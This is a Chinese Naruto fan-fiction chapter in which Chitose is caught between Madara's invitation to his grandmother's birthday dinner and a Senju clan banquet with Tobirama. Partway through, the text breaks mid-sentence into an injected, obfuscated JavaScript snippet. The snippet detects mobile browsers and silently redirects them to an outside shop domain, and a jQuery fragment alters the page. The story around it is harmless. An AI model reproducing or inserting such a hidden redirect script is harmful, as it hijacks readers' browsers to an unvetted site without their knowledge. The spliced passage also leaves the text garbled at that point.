火影办公室
自上次争执冷战过后,宇智波斑曾冷言让千歲不要再出现在自己面前,两人就此断了所有交谈,僵持多日。可今日,他却特意让人传召,将千歲单独唤至火影办公室。
站在他办公桌前里,千歲心底萦绕着说不清道不明的忐忑与不安。她揣测,或许是有紧急任务指派,亦或是治里一案尚有遗留事宜需要核对。
千歲垂眸静立在斑的身前,视线轻落于地板。
良久,沉稳低沉的男声方才缓缓响起,打破多日冷战的死寂。这是两人闹别扭之后,宇智波斑对她说的第一句话。
“晚间,祖母让我转告你,族内设家宴。”
千歲下意识想起自己今夜凌晨时分的固定巡逻勤务,本是无暇抽身。可听闻是智子祖母的邀约,她不敢怠慢,立刻应声应下:
“……我会提前交接好公务,准时过去。”
宇智波斑抬眸,目光淡淡落在她身上:
“今日我会命直属护卫小队,替你顶替晚间所有职务。”
千歲微微一怔,随即轻轻颔首应声:
“我知道了……”
话音未落,她本习惯性想要以公事称谓道一句“火影大人”收尾,可眼下场景并非公务洽谈,而是私人家宴通知,似乎并不适宜这般生硬称呼。
她斟酌片刻,放缓语调改口:
“族长大人。”
听见这声称呼,宇智波斑眼底极快掠过一缕复杂情绪,转瞬便被他尽数压下,不露分毫。
他静默片刻,方才淡淡补充缘由:
“今日是祖母生辰,仅此而已,并无其他深意。”
“祖母的生日……?”
千歲骤然错愕,所有注意力都落在了这句讯息上。从来无人告知她此事,她未曾提前准备半分贺礼,心底涌上一丝紧张与无措
不等她思虑补救之法,宇智波斑已然起身,背对着她伫立窗前,目光望向落地窗外的远景,刻意遮掩住眼底所有神色,不让她窥探半分心绪。
“你的贺礼,我早已命人提前备好。你只需准时到场,不必多虑。”
话音落,他缓缓回身看向她,语调清淡:
“别让我等。”
简短一句落下,便敲定了晚间的行程。
千歲辞别火影办公室,折返回到自己的警务部队办公室,推门而入的瞬间,便看见扉间正安静坐在办公室角落的沙发上,垂眸凝神翻阅手中的公务文件,身姿清肃端正。
她这才记起一桩被自己彻底抛在脑后的约定。
此前她早已亲口应允扉间,今日会陪同他出席千手一族的族内聚会。
完蛋。
千歲心底瞬间升起一阵慌乱。
她方才才应下宇智波斑,承诺准时赴智子祖母的生辰家宴;可扉间此刻已然亲自前来赴约,千手一族的族内宴会更是事关族中长老,规格隆重、意义重要,同样推脱不得。
两场重要宴席撞在同一日,两边皆是推拒不开的邀约,千歲进退两难,一时彻底没了主意。
“扉间大人……您怎么来得这么早?”
扉间方才提前处理完手头所有村务公务,闲来无事,便索性提前前来警务部队等候她,未曾想倒是来得早了许多。
他闻言放下手中文件,缓缓起身迈步走到她身前。目光落下,瞥见她身着的警务制服领口,最上方两颗纽扣松散敞开。想来是初夏天气燥热,她不耐闷热便随手解开。
扉间眸光微顿,下意识抬手,替她将最下方松开的纽扣规整扣好。指尖整理着她凌乱的衣领,他低声开口说明缘由:
“族中长老临时将宴席时间提前,我便提早过来接你。”
千歲心头骤然燃起一丝侥幸。
若是千手族宴在下午开席,那她抓紧时间赴宴离场,晚间应当还能赶得上宇智波的生辰家宴,两边或许都能兼顾周全。
自己真是时间管理大师。
心念一定,她立刻抬手按住扉间还在整理衣领的手:
“那我们快点出发,直接用瞬身的。”
扉间看着她此刻积极的模样,微微敛眸。
他本以为,以千歲宇智波的身份,再加上素来不爱拘束的性子,定然会不适应千手族内规矩森严的宴席,甚至会心生抵触。如今见她全然坦然,倒是自己多虑。
可转念想起两族世代对立的恩怨,他心底依旧藏着顾虑。族中不少老旧长老根深蒂固,对宇智波一族始终存有芥蒂偏见,此番是他首次带千歲出席千手正式族宴,难保不会有人刻意刁难。
他柔声叮嘱:
“族中部分长老对宇智波仍有旧怨,席间若是有人刻意为难,你不必委屈回话,一切交给我便可。”
千手族地
踏入千手族地深处、毗邻议事厅的专属宅邸院落,千歲才算真正见识到千手一族族内长老。
此番赴宴之人,全然不同于火影选举、族群大会上那些年轻鲜活的千手族人。
在座大多是久居族地深处的女眷长辈,以及历次大战负伤隐退、不再出战的元老。满室之人皆身着规整正式的千手族服,唯有她一身利落的警务部队制服,格格不入地立在人群之中。她下意识侧首看向身侧的扉间,他亦是未曾更换族服,依旧是平日出任务的黑色上衣。
与满室温雅的宴席氛围格格不入。
千歲微微凑近,轻声唤道:“扉间大人……”
扉间闻声微微俯身,主动将耳朵凑近她唇边,方便她低语。
千歲贴着他耳畔小声细语几句,听罢,扉间微微颔首,低声应道:
“我知晓了。”
宴席大厅之内,尚有部分长老未曾入席落座,厅内暂未完全坐满。
扉间换上了他平日里出任务的那一件蓝色战国护甲,依旧是平日清冷自持的模样,双臂环胸,姿态闲散又凛然,坐在宴席席位一侧。身侧的金发少女一身警务制服,端正静坐。
两道身影落在众人眼中,违和感极强。陆续入席的千手族人纷纷侧目侧目,这两人不像来赴宴的,像是随时待命、准备出任务执勤的模样。
千歲其实也没想到扉间会这般陪着自己随性着装赴宴。
她压低声音,小声吐槽:
“扉间大人……我们两个这样子,看起来会不会像是来找人打架的?”
扉间缓缓睁开眼眸,垂眸看向身侧局促的少女,语气清淡无奈:
“是你方才说没时间换衣,怕独自着装突兀落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770246|203075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
单,执意让我陪你这般装束前来。”
他宅邸就近在族地之侧,本有充足时间更换正式族服,却依着她的心思,刻意陪她这般着装,只为不让她一人显得格格不入、局促难堪。
入席的族人越来越多,细碎的目光源源不断汇聚在她身上。除却这身装束,更因她是千手族内皆知、即将与扉间成婚的宇智波族人。
族中众人早已听闻这段跨族婚约,所有人都对这位特殊的宇智波少女满怀好奇。那一头耀眼明媚的金发极具辨识度,众人只需一眼,便笃定了她的身份,目光久久停留,不曾移开。
千歲下意识正襟危坐,心底愈发局促不安。
此番族宴本应由柱间以族长身份主持大局,可未央近日突染风寒、身体抱恙,柱间需贴身照料。
加之这是扉间第一次带千歲出席千手正式族宴,柱间深知族内老规矩繁多、长老心思各异,若是由扉间主持宴席,定然无暇顾及初入千手族地、倍感陌生的千歲,怕她无人照拂、孤身难堪。
思虑周全之下,柱间便将此次族宴的主持事宜,全权交由了千手明德打理。
满堂宾客之中,唯有她一人是宇智波族人。
能让她稍微安心的柱间与未央双双缺席,陌生感与局促感席卷全身,让她浑身不自在。
她杯中原本备好的麦茶早已饮尽。扉间将她所有细微的神色尽收眼底,了然她此刻的心思。一言不发间,默默将自己身前一杯尚未动过、温度适宜的麦茶,轻轻推至她的面前。
千歲微微抬手,指尖刚要触碰到杯沿,准备小口饮茶缓解,宴会厅入口处,忽然传来一道熟悉的谈笑之声。
“文子伯母说笑了,您若是喜爱上次的茶点,我稍后便让人再送一份至您府中。”
“纱良当真是贴心懂事。”
日向纱良伴在千手文子身侧,笑意温婉,两人并肩谈笑而入,熟稔亲昵,仿若相交多年的至交。
千歲万万没有料到,会在此处撞见日向纱良。
往日数次纠葛摩擦,她心知肚明,日向纱良对自己素来心存偏见、颇有芥蒂。猝不及防的相遇,让她不知该如何应对,指尖停在杯沿。
一旁的扉间眉心微蹙,眼底掠过一抹沉色。
不用多想,必然是主持此次宴席的千手明德刻意为之。
明德近日与日向一族往来过于密切、暗自交好,屡次默许甚至纵容日向插手千手族务。
今日是他首次带千歲出席族宴,明知两人素有嫌隙,仍刻意邀日向纱良赴宴,用意昭然,分明是刻意刁难。
千手文子目光温和,一眼瞥见席位上的扉间与千歲,笑着温和颔首示意,出声温和问候:
“这位,便是宇智波家的小姑娘吧。”
长辈温善有礼,千歲立刻收敛所有局促,乖乖应声问好:
“……伯母您好!”
说罢,她抬眸看向文子身侧的日向纱良,本想礼貌颔首打招呼,缓和席间气氛。
可日向纱良目光淡淡掠过她的身影,神色漠然疏离,全然无视了她的存在,径直移开视线,未曾
有半分回应。
……太尴尬了。
早知道就不答应扉间大人,来参加这场宴席了。